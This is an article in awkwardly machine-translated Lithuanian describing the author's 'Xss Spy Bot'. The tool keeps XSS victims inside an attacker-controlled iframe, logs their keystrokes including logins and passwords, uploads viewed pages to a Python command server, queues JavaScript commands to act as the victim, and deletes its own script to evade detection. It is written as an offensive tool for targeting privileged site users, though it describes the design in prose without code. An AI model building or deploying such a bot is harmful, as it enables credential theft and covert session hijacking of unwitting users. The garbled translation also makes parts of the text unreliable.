    Tačiau ši technika turi dar įdomesnių ir galingesnių programų. Mes imituosime vartotojo buvimą svetainėje paspaudę nuorodą, iš tikrųjų jis visą laiką liks viename puslapyje, o šiuo metu veiks trečiosios šalies scenarijus, išgaunantis ir siunčiantis informaciją užpuolikui. Taigi, XSS veiks tol, kol vartotojas spusteli nuorodą šiame domene .

    Mes nurodome idėją.

    Bendras veikimo principas toks: kai vartotojas įeina į puslapį su XSS, scenarijus sukuria iframe su tuo pačiu adresu kaip ir puslapis ir jį „prideda“ priekiniame plane, vartotojui susidaro įspūdis, kad puslapis įkeliamas normaliai, nes iframe galima matyti tik kodų puslapiuose.

    O pagalbinis scenarijus valdo šnipinėjimo roboto logiką, tai yra, stebi, kada pasikeičia adresas rėmelyje, kad pakeistų jį adreso juostoje, bet jei naujai pakeistas kadro adresas turi kitą domeną, galite atidaryti jį naujame skirtuke arba turėsite iš naujo įkelti puslapį, kad nesudegtumėte.
    Taigi, kad XSS šiuo metu nustotų vykdyti, vartotojas turi arba atnaujinti puslapį rankiniu būdu (jei XSS yra atspindėtas ir buvo perduotas naudojant POST metodą, kitais atvejais atnaujinimas nepadės, beje, kai kurie naršyklės dabar gali vėl siųsti POST užklausą atnaujindamos puslapį) arba uždaryti skirtuką arba persijungti į kitą domeną (nors tokiu atveju vis tiek galite neprarasti kontrolės).

    Jei jis patenka į užpulto domeno padomenį, tai yra užpuoliko pasirinkimas, ty XSS veiks, tačiau yra nedidelė tikimybė, kad vartotojas aptiks adreso neatitikimą. Manau, kad priklausomai nuo situacijos čia, pavyzdžiui, jei buvo užpultas google.ru domenas, vartotojas persijungė į Google debesies failų paslaugą, kuri dažniausiai yra drive.google.ru padomenyje, tada yra tikimybė, kad jis pastebės adreso juosta yra gana aukšta, jei jis dažnai naudojosi šia paslauga. Priešingu atveju taip pat galite rizikuoti. Tačiau turime atsižvelgti į tai, kad nebegalėsime nuskaityti jo duomenų iš rėmelio su subdomenu, nes kryžminės kilmės politika to neleis. Bet mes galime lengvai perkopti pagrindinį domeną jo vardu paslėptas režimas(apie tai bus daugiau žemiau).

    Tik pas šis metodas Yra apribojimų, būtent, jis neveiks, jei svetainės žiniatinklio serverio atsakymuose bus antraštė „X-Frame-Options“ su reikšme DENY . Bet asmeniškai aš susidūriau su tokiomis svetainėmis tiesiog porą kartų, dabar net pusė jų neturi SAMEORIGIN, jau nekalbant apie visišką apribojimą ATNEIKTI.

    Išanalizuokime idėją.

    Dabar tikriausiai daugelis prisimena tokį nuostabų dalyką kaip BeEF, kuriame taip pat yra daug įdomių dalykų. Beje, yra ir galimybė priversti vartotoją peradresuoti kadre, tačiau adreso juostoje adresas nesikeičia, o tai gali greitai išdeginti stalą ir ši parinktis tarnauja kiek kitokiems tikslams.
    Apskritai, BeEF turi beveik viską, ko reikia ir net daug papildomos funkcijos, bet aš asmeniškai norėjau papildomų funkcijų, būtent:

    • galimybė realiu laiku stebėti puslapių, kuriuos užpuolė vartotojas, kodą;
    • galimybė matyti viską, ką jis įveda toje svetainėje (nuo prisijungimo vardo ir slaptažodžio iki greitųjų klavišų ir pranešimų), tai yra JS klavišų kaupiklis;
    • galimybė duoti JS komandas savo botui realiu laiku, peržiūrėjus gautų puslapių kodą;
    • galimybė palikti komandas robotui vietoje, kad vėliau jis galėtų jas „pasiimti“ ir įvykdyti be mūsų tiesioginio dalyvavimo;
    • mažesnė tikimybė, kad robotas bus sudegintas, arba roboto gebėjimas „pasislėpti“ nuo smalsių akių;

    Kaip minėta aukščiau, aš nusprendžiau pasiskolinti šaunią komandų vykdymo eilės idėją iš BeEF. Pavyzdžiui, išanalizavome puslapius, kuriuos botas išmetė, kai privilegijuotas vartotojas prisijungė prie savo valdymo pulto su saugomu XSS, paliekame botui komandas – JS kodą, pvz., kai kitą kartą vartotojas prisijungs, spustelėkite šį mygtuką, parašykite tai vertė čia ir pan. , kai kitą kartą šis vartotojas apsilankys puslapyje, robotas nuskaito komandas ir jas vykdo, o mes neturime visko būti prie jo vairo – tai labai patogu.

    Iš esmės toks botas, žinoma, yra skirtas aukšto statuso kai kurių svetainių vartotojams, turintiems papildomus „svertus“ turiniui valdyti, kitiems vartotojams ir pan. Iš užklausų dėl funkcionalumo aišku, kad be serverio dalies neapsieisime.

    Įgyvendinkime idėją.

    Iš esmės galite praleisti šią straipsnio dalį, nes joje tiesiog aprašomas norimo roboto diegimo procesas ir kai kurios jo detalės, jei kas nors norėtų jį perdaryti ar pritaikyti sau. Nors robotas kodo pradžioje turės kintamuosius, per kuriuos galėsite nustatyti kai kuriuos nustatymus.
    Pirma, roboto veiksmų algoritmas nuo įkėlimo momento:

    1) Tikrinama, ar yra antraštės X-Frame-Options: DEY(jei yra, tada susukame meškeres);
    2) rėmo įdėjimas ir visų roboto komponentų nustatymas;
    3) Scenarijaus ir visų pėdsakų pašalinimas HTML kode;
    4) Kontakto su serverio dalimi užmezgimas ir duomenų siuntimo pradžia, atsakymas į atsakymus (komandų gavimas iš serverio);

    Pirmasis punktas nebuvo atliktas iki galo, tai yra, robotas patikrina tik pirmąjį puslapį ir šakninę antraštę. Faktas yra tas, kad paprastai šias antraštes žiniatinklio serveris sukuria visiems puslapiams vienu metu ir labai retai, o tai atskiras puslapis viskas daroma "rankomis". Ir pats šis pavadinimas yra gana retas. Na, apie antrą ir trečią nėra daug ką pasakyti, viskas bus žemiau.

    Yra santykinai svarbus punktas kad prieš įtraukdami roboto scenarijaus kodą į savo kodą, turite nedelsdami pašalinti XSS ženklus adreso juostoje (iš JS kodo), nes tai sumažina aptikimo tikimybę ir, svarbiausia, apsaugo nuo pasikartojimo, kuris atsiranda pridedant adresą su tuo pačiu XSS į kadro kodą, kuris savo ruožtu sukuria kitą kadrą su savimi ir pan.

    Bet tik tuo atveju, boto kodas įgyvendina galimybę aptikti tokią kadrų rekursiją ir užkirsti jai kelią pirmu bandymu pridėti kadrą prie jau sukurto, tačiau geriau nepasikliauti tik juo, o papildomai pašalinti kodą. prieš įkeldami boto kodą. Nors su problemomis dar nesusidūriau.

    Rėmelio atnaujinimo tikrinimo funkcija. Išbandžiau kelis būdus, kaip ekonomiškai išspręsti šią problemą, pakabindamas įvykių tvarkykles turinio langas arba turinysDokumentas, bet niekas neveikė, todėl turėjau parašyti funkciją, kuri patikrintų kadro adresą ir palygintų jį su anksčiau išsaugotu ir pagal tai nuspręstų ar kadras atnaujinamas (ar pasikeitė adresas) ir tada vadina save rekursyviai.

    Tokių patikrinimų dažnis per sekundę yra valdomas kintamuoju delsimas, kuris yra nurodytas roboto kodo failo pradžioje. Bet vėliau, jau parašęs, radau efektyvesnį sprendimą – naudok paprastą sprendimą ir pakabink įkėlimas prie rėmo, todėl tą funkciją palikau, bet pakomentavau, jei vėliau pasirodys paklausesnė.

    Puslapio HTML kodo siuntimas.

    Schema čia gana paprasta – po kiekvieno kadro įkėlimo (įskaitant ir pirmąjį įkėlimą) botas siunčia į serverį visą puslapio HTML kodą kartu su esamu adresu, kad vėliau būtų galima atskirti, ar kodas priklauso norimam. puslapių.

    Serveris įgyvendina puslapių saugojimo logiką – kiekvienam domenui serveris sukuria aplanką su šio domeno pavadinimu ir ten išsaugo visus duomenis. Puslapių kodai išsaugomi ir nuolat atnaujinami iki naujausių versijų, tačiau kiekvieną naują dieną sukuriama nauja puslapio kopija, kad prireikus galėtumėte valdyti versijų istoriją. Tai skirta /news.php Rugsėjo 1 dieną būsena bus atnaujinta, o rugsėjo 2 dieną bus sukurta jos kopija, aktuali tik tai dienai ir taip vėl kiekvieną dieną (jei vartotojas šiame puslapyje lankosi kasdien). Puslapio pavadinimą sudaro data ir kelias į šį puslapį, palyginti su svetainės šaknimis (ty be domeno).

    Keylogger JavaScript.

    Idėją kai kurie entuziastai jau buvo įgyvendinę, bet jų darbas man netiko, jau vien dėl to, kad dauguma buvo gana paprasti, tai yra aptiko paspausto klavišo kodą ir per String.fromCharCode išversti į simbolius. Tačiau šis metodas turi nemažai trūkumų – valdymo klavišai, tokie kaip „Shift“, „Control“, „Space“ ir kt., nėra verčiami į jokią formą (dažnai tiesiog į tuščią simbolį), raidinių ir skaitmeninių klavišų sąveika su „Shift“ yra neteisingai registruojama, nes tai turi būti įdiegta programiškai, o Be to, visi paspausti klavišai rodomi didžiosiomis raidėmis, kurias taip pat galima taisyti programiškai.

    Rezultatas buvo klaviatūros kaupiklis, kuris teisingai aptiko visus skaičių, raidžių ir pagrindinių simbolių klavišus, dirbo su abiem išdėstymais, reaguodamas į poslinkį ir registruodamas visus pagrindinius specialiuosius klavišus. Tiesa, kai kurie ženklai (viršuje skaitmeninės serijos, kurie spausdinami paspaudus pamainą ir skaičių), kai kuriose mašinose gali skirtis, nes buvo įdiegtos pagal pagrindinį standartą, kurį kai kurios įmonės keičia.
    Kiekvieną paspaustą simbolių dalį klientas išlaiko tol, kol teksto elementas praranda fokusą. Tada ši dalis siunčiama į serverį, kur ji saugoma tekstinis failas, kuris taip pat bus kuriamas kiekvieną dieną su nauja kopija, kad ji neišaugtų iki didelių dydžių ir greitai rastumėte, ką vartotojas rašė tuo metu.
    Be pačių raktų, su kiekviena dalimi į serverį siunčiama informacija apie elementą, kuriame buvo įvestas tekstas (ty ar jis buvo , [ arba kai kurie kai vartotojas naudojo sparčiuosius klavišus), be elemento pavadinimo, siunčiami pagrindiniai jo duomenys (id, pavadinimas, klasė - jei yra), kad juos būtų galima lengvai rasti kode. Ir, žinoma, įrašomas puslapio, kuriame buvo įdarbinta, adresas ir apytikslis šio įdarbinimo laikas. IN Bendra informacija apie tai, kad vartotojas bakstelėjo klaviatūrą, yra pakankamai išsiųstas tolesnei analizei.

    Įvesk savo robotą.

    Šį procesą gali atlikti užpuolikas arba toje pusėje, kurioje robotas veiks serverio pusėje, arba net nuotoliniu būdu. Paleidus serverio scenarijų, paleidžiamas savarankiškai parašytas miniatiūrinis žiniatinklio serveris, aptarnaujantis užklausas iš boto ir jo valdiklio, veikiančio per žiniatinklio sąsają. Tai yra, po paleidimo žiniatinklio serveris išduoda nuorodą, į kurią eidami galite pradėti duoti komandas robotui.

    Apie šį valdymo skydelį. Pirma, reikėjo jį apriboti slaptažodžiu (kelią ir mažai kas žinos veikianti paslauga tokiame ir tokiame prievade arba apie adresą, kuriuo reikia prisijungti, kad galėtumėte naudotis šia paslauga), kad pirmą kartą prisijungus serveris paprašytų slaptažodžio, kuris pateikiamas adreso juostoje (an bus nurodytas pavyzdys), originalus slaptažodis yra saugomas slaptažodis.txt, kurį galima keisti. Po pirmojo prisijungimo žiniatinklio serveris nurodys naršyklei išsaugoti slaptažodį slapuke, todėl jums nereikės daugiau dėl to jaudintis.

    Pačiame puslapyje komandoms siųsti robotui taip pat yra informacijos apie roboto būseną - ar jis šiuo metu yra prisijungęs, ar neprisijungęs, ir keletas nustatymų, iš kurių pirmasis yra pagrindinis kompiuteris, tai yra IP. svetainės adresą arba domeną, į kurį bus siunčiamos komandos robotui. Tai sukurta tam atvejui, kai keliose svetainėse yra šis robotas, kad būtų galima jas identifikuoti. Serveryje, taip pat ir šiuo atveju, visi duomenys yra suskirstyti į aplankus su domenų pavadinimais.
    Kitas yra langas, kuriame galite rašyti komandas robotui JS, ir parinktis, kuri nustato, kur bus vykdomas šis JS kodas, pagrindiniame lange, kuriame yra robotas, ar rėmelyje - tai daroma dėl patogumo, bet kuriuo atveju .

    Jei botas neprisijungęs, tada serveris tiesiog išsaugo komandas ir vėliau, botui prisijungus, tai yra, vartotojui vėl apsilankius puslapyje su juo arba sekant užpuoliko nuorodą, šios komandos bus vykdomos.
    Tai labai patogu, jei per pirmą žvalgybą botas numetė visus vartotojo aplankytus puslapius (pavyzdžiui, asmeninę paskyrą), išstudijavę kodą, kurio kodą rašėme komandas JS, kad tada botas spustelėtų mums reikalingas nuorodas, suvesti reikiamus duomenis, rodyti reikiamas nuotraukas ir pan., kurios padės pasiekti Jūsų tikslą.

    Arba galite tiesiogiai realiu laiku, per kodą greitai peržiūrėti puslapių turinį ir duoti komandas botui, kad jis atsiųstų kitų puslapių kodą, nueitų kitu adresu ir pan. Ir visa tai bus daroma „už ekranas“ naudotojo, kuris ramiai naršys svetainėje per rėmelį.

    Jūsų patogumui dažniausiai naudojamas instrukcijas galite suformuoti į visas JS funkcijas, kurios vėliau įvedamos į originalus failas robotai ( xsb.js, O failo struktūra daugiau bus žemiau) ir naudokite. Arba naudokite tas funkcijas, kurios yra įdėtos į botą, nors ten tik pagrindai ir nieko naujo nėra, bet pavyzdžiui, puslapio kodo siuntimo funkciją galite naudoti bet kada, o ne perkraunant kadrą. Galite parašyti funkciją, kuri fone atidarys jai perduotas nuorodas naujuose rėmeliuose, kad vartotojo vardu galėtumėte peržiūrėti kelių puslapių turinį vienu metu (ir valdyti šį turinį jo virtualiomis rankomis).

    Pašalina savo kodą.

    Na, o paskutinė funkcija įgyvendinta gana paprastai (ją galima išjungti, faile nustačius norimą kintamąjį, jie komentuojami). Scenarijus, nustatęs ir pakabinęs visas įvykių tvarkykles, sukūręs visus kintamuosius ir funkcijas, ištrina save

    Juk visi duomenys jau įkelti RAM per naršyklę, todėl nėra ko jaudintis, bet tai teoriškai, gal vėliau bus kokių problemų, į kurias neatsižvelgiau, todėl sukūriau kintamąjį, kuriuo esant reikalui galima šią funkciją išjungti.

    Ištrynus visus scenarijus bus itin sunku pastebėti XSS, nes kadro buvimas to netiesiogiai rodo, o patį kodą galima rasti tik naršyklės tinklo srauto istorijos žurnaluose (kurie pagal numatytuosius nustatymus nesaugomi daugelyje naršyklių, jei kūrėjo skydelis neatidarytas).

    Serverio dalis.

    Dėl paprastesnio ir patogus būdas paleidus botą, buvo nuspręsta ant lizdų įrašyti nedidelį žiniatinklio serverį, kuris aptarnautų robotą, atliktų visas išsiųstų duomenų priėmimo ir paskelbimo operacijas, perduotų pranešimus tarp užpuoliko ir boto ir sukurtų užpuoliko žiniatinklio sąsają. komandą.
    Serveris buvo parašytas Python, bandžiau naudoti tik standartines bibliotekas, kad prieš pradėdami nieko nereikėtų diegti. Be to, pats serveris redaguoja kai kuriuos duomenis scenarijuose, tai yra, roboto JS scenarijuje nereikia nustatyti komanduojančio serverio adreso, žiniatinklio serveris pats nustatys reikiamą jį paleisdamas. Serverio konfigūracijoje yra tik vienas parametras - prievadas, nuo kurio jis bus paleistas (numatytasis nustatymas yra 8000).
    Paleidus, serveris pateiks visus reikalingus duomenis – nuorodą į JS scenarijų, kurią reikės paslysti, nuorodą į komandų skydelį, tiksliau – nuorodas į išorinius ir vietinius adresus, kad būtų patogiau.

    Darbo su botu schema.

    Mes paleidžiame serverį į kokį nors nepanaudotą prievadą ir jūs galite išsiųsti nuorodą su boto scenarijumi, tada visi jį paspaudę atsiųs duomenis, kuriuos serveris išsaugos bet kuriuo paros metu. Tada galite tiesiog juos peržiūrėti, jei reikia palikti komandos robotą ir toliau daryti savo veiksmus.

    Failo struktūra.

    Aplanke yra šie failai:

    • xsb.py – pagrindinis failas, kuriame įdiegta serverio dalis, kad robotas veiktų, paleiskite jį ir tiesiog naudokite jo siūlomą nuorodą;
    • xsb.js – čia saugomas roboto JS kodas, kurio nuorodą pateikia serveris, jo pradžioje deklaruojami konfigūracijos kintamieji, kuriuos galima keisti savo nuožiūra (kai kuriuos, būtent pagrindinį kompiuterį ir prievadą, serveris pats nustatys vėliau, jums nereikės jaudintis);
    • panel.html – iš čia serveris paima kodą boto valdymo pultui, sąsają galite koreguoti savo nuožiūra;
    • slaptažodis.txt – čia saugomas valdymo pulto slaptažodis, kurį galima keisti;
    • savedData – tai katalogas, kuriame bus kuriami aplankai su svetainių domenais, kuriame bus išsaugota visa informacija.

    Leiskite dar kartą pažymėti, kad byloje xsb.js galite pridėti savo funkcijų, kurias galėsite iškviesti per skydelį, nerašydami didžiulių kodo dalių;

    Trumpa rezultatų analizė.

    Parašiau savo sugalvotą būdą išlaikyti vartotoją puslapyje su XSS per rėmelius (na, kaip sugalvojau - aš asmeniškai atradau tai, visai gali būti, kad kažkas kitas „sugalvojo“ tą pačią techniką sau arba ji jau kažkur publika nušvito, nes dabar yra gana sunku sukurti kažką tikrai naujo, o kaip taisyklė po kurio laiko pamatai, kad „tai jau buvo Simpsonuose“) ėmiau plačiau gilintis į BeEF ir skaityti jos wiki. Tada sužinojau, kad ten buvo įdiegta kita technika tam pačiam tikslui pasiekti - prailginti vartotojo laiką puslapyje su vykdomuoju XSS (kuriuos jie vadino žmogus naršyklėje). Ir buvo įgyvendinta taip: visos nuorodos pradiniame puslapyje buvo pakeistos taip, kad paspaudus bet kurią iš jų scenarijus neperkraudavo puslapio, o per Ajax išsiuntė užklausą į serverį ir įvedė duomenis gautas atsakyme, tai yra, galima sakyti, dirbtinai jį atnaujino, kas taip pat beveik nesiskyrė nuo įprastos gaivos.

    Todėl ne man pirmam pavyko įgyvendinti šią idėją (net jei metodai pasirodė kitokie). Tačiau abu šie metodai turi savo trūkumų:

    Įkėlimo metodas per neveikia, jei atsakyme yra antraštė X-Frame-Options: DEY, bet kitu atveju jis veikia kaip įprastas naršyklės langas;

    Ajax metodas visada veikia, jei jį palaiko naršyklė (dabar jį palaiko visos pagrindinės naršyklės), tačiau naudojant naują Web 2.0 standartą vis daugiau perėjimų suaktyvina bet kokių elementų pasirinktiniai įvykiai per JS. Vieną dieną nuėjau į Google AdWords ir nusprendžiau pažiūrėti, kaip ten sąveikauja jų HTML ir JS, nes visi mano vorai labai prastai kūrė galinį šios paslaugos žemėlapį. Ir aš visą vakarą tyliai išsigandau, kaip ten viskas neįprasta, kai tekstiniai elementai buvo mygtukai, perjungikliai ir slankikliai, vaizduojami su viskuo kitu, o kiekvienas turėjo apie 30 tvarkyklių skirtingiems įvykiams.

    Tai yra, sudėtingoje svetainėje perėjimo mygtukas (subjektyviai nuoroda) bus įdiegtas naudojant įprastą žymą , kuriame yra stilių ir prie kurių pridedamos įvykių tvarkyklės, iš kurių vienas, pvz., onclick nukreipia vartotoją į kitą puslapį. Taip pat yra standartinių elementų, tokių kaip [i] arba pats ir t.t., kurios taip pat iš tikrųjų yra nuorodos į kitus puslapius, bet į kurias BeEF nereaguos ir puslapis paprasčiausiai nebus atnaujintas paspaudus daugumą mygtukų ir kitų elementų. Tai gali paskatinti vartotoją atnaujinti puslapį arba iš naujo įeiti iš kitos pusės, o tai užmuša mūsų aktyvią XSS sesiją.

    Kad būtų trumpai pavadinti failai, pavadinau jį Xss Spy Bot.

    P.S.
    Visą šį reikalą parašyti užtruko šiek tiek daugiau nei mėnesį dėl periodinio laiko stokos ir nuolatinio blaškymosi. Taip pat dėl ​​to kodo kokybė ir tikimybė patekti į kokią nors klaidą yra gana didelė. Tad prašau per daug nesikeikti, o parašyti, kas kam nors negerai, kad būtų galima ištaisyti.
    Aš pats išbandžiau robotą tik 4 mašinose, visose jose veikia Debian.

    Ilgalaikiai šio roboto planai, jei yra motyvacijos:
    – įdiegti puslapių, kuriuos robotas siunčia į serverį, kodo atvaizdavimą, kad jis iškart atsidarytų naršyklėje ir būtų „paliestas“ bei išbandytas skrydžio metu;
    – jie bandys pagauti kai kurias WebRTC technologijos gėrybes, tai yra rasti būdų, kaip gauti naujos informacijos, kurios grynas JS negali išgauti;
    – įdiegti ryšį tarp roboto ir serverio per WebSocket protokolą per HTTP;
    – papildyti valdymo pultą tam tikrais patogumais;

    Dalintis